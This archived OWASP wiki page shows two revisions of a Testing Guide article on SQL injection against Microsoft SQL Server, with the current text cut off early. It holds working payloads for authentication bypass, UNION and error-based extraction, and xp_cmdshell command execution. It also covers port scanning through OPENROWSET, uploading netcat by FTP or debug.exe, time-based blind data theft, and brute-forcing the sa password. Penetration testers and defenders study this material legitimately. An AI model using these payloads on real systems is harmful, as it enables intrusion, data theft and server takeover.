This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Testing for SQL Server"

From OWASP
Jump to: navigation, search
(Short Description of the Issue)
 
(36 intermediate revisions by 8 users not shown)
Line 1: Line 1:
[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
+
{{Template:OWASP Testing Guide v4}}
{{Template:OWASP Testing Guide v2}}
 
  
== Brief Summary ==
+
== Summary ==
<br>
+
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.
In this paragraph we describe some [http://www.owasp.org/index.php/SQL_Injection_AoC SQL Injection] techniques that utilize specific features of Microsoft SQL Server.
+
 
<br>
+
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.
  
== Short Description of the Issue ==
 
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute of SQL code under the privileges of the user used to connect to the database.
 
  
 
As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:
 
As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:
Line 14: Line 11:
 
* Application parameters in query strings (e.g., GET requests)
 
* Application parameters in query strings (e.g., GET requests)
 
* Application parameters included as part of the body of a POST request
 
* Application parameters included as part of the body of a POST request
* Browser-related information (e.g., user-agent, referer)
+
* Browser-related information (e.g., user-agent, referrer)
 
* Host-related information (e.g., host name, IP)
 
* Host-related information (e.g., host name, IP)
 
* Session-related information (e.g., user ID, cookies)  
 
* Session-related information (e.g., user ID, cookies)  
  
Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests.
 
  
== Black Box testing and example ==
+
Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.
  
===SQL Server Peculiarities===
+
 
 +
== How to Test ==
 +
 
 +
===SQL Server Characteristics===
  
 
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:
 
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:
  
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)
+
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)
 
* query separator: ; (semicolon)
 
* query separator: ; (semicolon)
 
* Useful stored procedures include:
 
* Useful stored procedures include:
Line 35: Line 34:
 
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 
<br>
 
<br>
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.
+
 
 +
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.
 +
 
  
 
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
 
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
Line 45: Line 46:
 
  exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
 
  exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
 
</pre>
 
</pre>
 +
 +
 
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.
 
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.
 +
  
 
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
 
In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
Line 51: Line 55:
 
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())  
 
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())  
 
</pre>
 
</pre>
 +
 
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
 
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
 
<pre>
 
<pre>
 
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
 
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
 
</pre>
 
</pre>
 +
 
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.
 
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.
 +
  
 
The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
 
The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
 
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
 
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
 
</pre>
 
</pre>
 +
 
And here's the same attack, but using again the conversion trick:
 
And here's the same attack, but using again the conversion trick:
 
<pre>
 
<pre>
 
  /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
 
  /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
 
</pre>
 
</pre>
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener.  
+
 
 +
 
 +
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.  
 +
 
  
 
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.
 
In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.
 +
  
 
===Example 1: Testing for SQL Injection in a GET request. ===
 
===Example 1: Testing for SQL Injection in a GET request. ===
  
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):  
+
The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):  
  
 
  <nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>
 
  <nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>
  
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.  
+
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.
 +
 
  
===Example 2: Testing for SQL Injection in a GET request (2).===
+
===Example 2: Testing for SQL Injection in a GET request===
  
In order to learn how many columns there exist  
+
In order to learn how many columns exist  
  
 
  <nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>
 
  <nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>
Line 86: Line 99:
  
 
SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
 
SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
 +
  
 
A complete post example:
 
A complete post example:
Line 101: Line 115:
 
  Content-Length: 50<br>
 
  Content-Length: 50<br>
 
  email=%27&whichSubmit=submit&submit.x=0&submit.y=0
 
  email=%27&whichSubmit=submit&submit.x=0&submit.y=0
 +
  
 
The error message obtained when a ' (single quote) character is entered at the email field is:
 
The error message obtained when a ' (single quote) character is entered at the email field is:
Line 107: Line 122:
 
  Unclosed quotation mark before the character string '' '.
 
  Unclosed quotation mark before the character string '' '.
 
  /forgotpass.asp, line 15  
 
  /forgotpass.asp, line 15  
 +
  
 
===Example 4: Yet another (useful) GET example===
 
===Example 4: Yet another (useful) GET example===
Line 113: Line 129:
  
 
  a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
 
  a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
 +
  
 
===Example 5: custom xp_cmdshell===
 
===Example 5: custom xp_cmdshell===
  
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
+
All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
 
<br><br>
 
<br><br>
 
On SQL Server 2000:
 
On SQL Server 2000:
Line 137: Line 154:
 
   return @result
 
   return @result
 
</pre>
 
</pre>
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
+
 
 +
 
 +
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.
 
<br><br>
 
<br><br>
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:
+
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:
 
<pre>
 
<pre>
 
master..sp_configure 'show advanced options',1
 
master..sp_configure 'show advanced options',1
Line 146: Line 165:
 
reconfigure
 
reconfigure
 
</pre>
 
</pre>
 +
  
 
===Example 6: Referer / User-Agent===
 
===Example 6: Referer / User-Agent===
Line 156: Line 176:
  
 
  User-Agent: user_agent', 'some_ip'); [SQL CODE]--
 
  User-Agent: user_agent', 'some_ip'); [SQL CODE]--
 +
  
 
===Example 7: SQL Server as a port scanner===
 
===Example 7: SQL Server as a port scanner===
Line 163: Line 184:
 
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
 
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
 
</pre>
 
</pre>
 +
 +
 
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
 
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:
 
<pre>
 
<pre>
 
SQL Server does not exist or access denied
 
SQL Server does not exist or access denied
 
</pre>
 
</pre>
 +
 +
 
On the other hand, if the port is open, one of the following errors will be returned:
 
On the other hand, if the port is open, one of the following errors will be returned:
 
<pre>
 
<pre>
Line 174: Line 199:
 
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
 
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
 
</pre>
 
</pre>
 +
 +
 
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.  
 
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.  
  
 
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.
 
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.
 +
  
 
===Example 8: Upload of executables===
 
===Example 8: Upload of executables===
Line 191: Line 219:
 
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
 
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
 
</pre>
 
</pre>
 +
 +
 
At this point, nc.exe will be uploaded and available.
 
At this point, nc.exe will be uploaded and available.
 
<br>
 
<br>
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
+
 
 +
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by  
 +
default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:
 
<pre>
 
<pre>
 
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
 
exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--
Line 201: Line 233:
 
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
 
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--
 
</pre>
 
</pre>
At this point, our executable is available on the target machine, ready to be executed.
 
  
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).
+
 
 +
At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).
 +
 
  
 
===Obtain information when it is not displayed (Out of band)===
 
===Obtain information when it is not displayed (Out of band)===
  
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.  
+
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.
 +
 
 +
 
 +
Other options for out of band attacks are described in Sample 4 above.
  
Other options for out of band attacks are described in Sample 4 above.
 
  
 
===Blind SQL injection attacks===
 
===Blind SQL injection attacks===
  
 
====Trial and error====
 
====Trial and error====
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query
+
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query
  
 
   select * from books where title='''text entered by the user'''
 
   select * from books where title='''text entered by the user'''
  
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.
+
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.
 +
 
  
====In case more than one error message is displayed====
+
====If more than one error message is displayed====
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:  
+
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:  
  
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes.  
+
* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.  
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.  
+
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''.  
  
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.
 
  
Another out-of-band method is to output the results through HTTP browseable  
+
This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.
  
  
 
====Timing attacks====
 
====Timing attacks====
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:
+
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:
  
 
  if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
 
  if exists (select * from pubs..pub_info) waitfor delay '0:0:5'
  
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query
+
 
 +
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query
  
 
  declare @s varchar(8000)
 
  declare @s varchar(8000)
Line 243: Line 279:
 
  select @i = [some value]
 
  select @i = [some value]
 
  if (select len(@s)) < @i waitfor delay '0:0:5'
 
  if (select len(@s)) < @i waitfor delay '0:0:5'
 +
  
 
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:
 
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:
  
 
  if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
 
  if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'
 +
  
 
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.
 
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.
  
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example
+
 
 +
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example
  
 
  declare @i int select @i = 0
 
  declare @i int select @i = 0
Line 256: Line 295:
 
  select @i = @i + 1
 
  select @i = @i + 1
 
  end
 
  end
 +
  
 
====Checking for version and vulnerabilities====
 
====Checking for version and vulnerabilities====
Line 261: Line 301:
  
 
  select @@version
 
  select @@version
 +
  
 
On SQL Server 2005, it will return something like the following:
 
On SQL Server 2005, it will return something like the following:
  
 
  Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>
 
  Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>
 +
  
 
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:
 
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:
  
 
  if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'
 
  if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'
 +
  
 
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.
 
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.
 +
  
 
===Example 9: bruteforce of sysadmin password===
 
===Example 9: bruteforce of sysadmin password===
Line 279: Line 323:
 
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
 
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
 
</pre>
 
</pre>
 +
 +
 
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.  
 
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.  
 +
 +
 
Once we have the sysadmin password, we have two choices:
 
Once we have the sysadmin password, we have two choices:
  
Line 285: Line 333:
  
 
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.
 
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.
 +
  
 
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.
 
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.
 +
 +
 +
==Tools==
 +
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
 +
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
 +
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
 +
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
  
 
== References ==
 
== References ==
 
'''Whitepapers'''<br>
 
'''Whitepapers'''<br>
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
+
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
+
* Chris Anley, "(more) Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
 
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
 
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
 
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
 
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
 
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
 
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/
+
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
 
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx
 
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx
 
+
* Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS
'''Tools'''<br>
 
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
 
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
 
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
 
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net
 
 
 
 
 
{{Category:OWASP Testing Project AoC}}
 

Latest revision as of 15:59, 31 July 2014

This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Summary

In this section some SQL Injection techniques that utilize specific features of Microsoft SQL Server will be discussed.

SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.


As explained in SQL injection, a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

  • Application parameters in query strings (e.g., GET requests)
  • Application parameters included as part of the body of a POST request
  • Browser-related information (e.g., user-agent, referrer)
  • Host-related information (e.g., host name, IP)
  • Session-related information (e.g., user ID, cookies)


Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.


How to Test

SQL Server Characteristics

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

  • comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)
  • query separator: ; (semicolon)
  • Useful stored procedures include:
    • [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running. By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
    • xp_regread reads an arbitrary value from the Registry (undocumented extended procedure)
    • xp_regwrite writes an arbitrary value into the Registry (undocumented extended procedure)
    • [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin privileges.
    • [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.


Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the exec function.


Below we show how to execute a shell command that writes the output of the command dir c:\inetpub in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:

 exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

Alternatively, we can use sp_makewebtask:

 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--


A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.


In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function db_name() to trigger an error that will return the name of the database:

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name()) 

Notice the use of [convert]:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.


The following example uses the environment variable @@version , combined with a "union select"-style injection, in order to find the version of the SQL Server.

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

And here's the same attack, but using again the conversion trick:

 /controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)


Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.


In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.


Example 1: Testing for SQL Injection in a GET request.

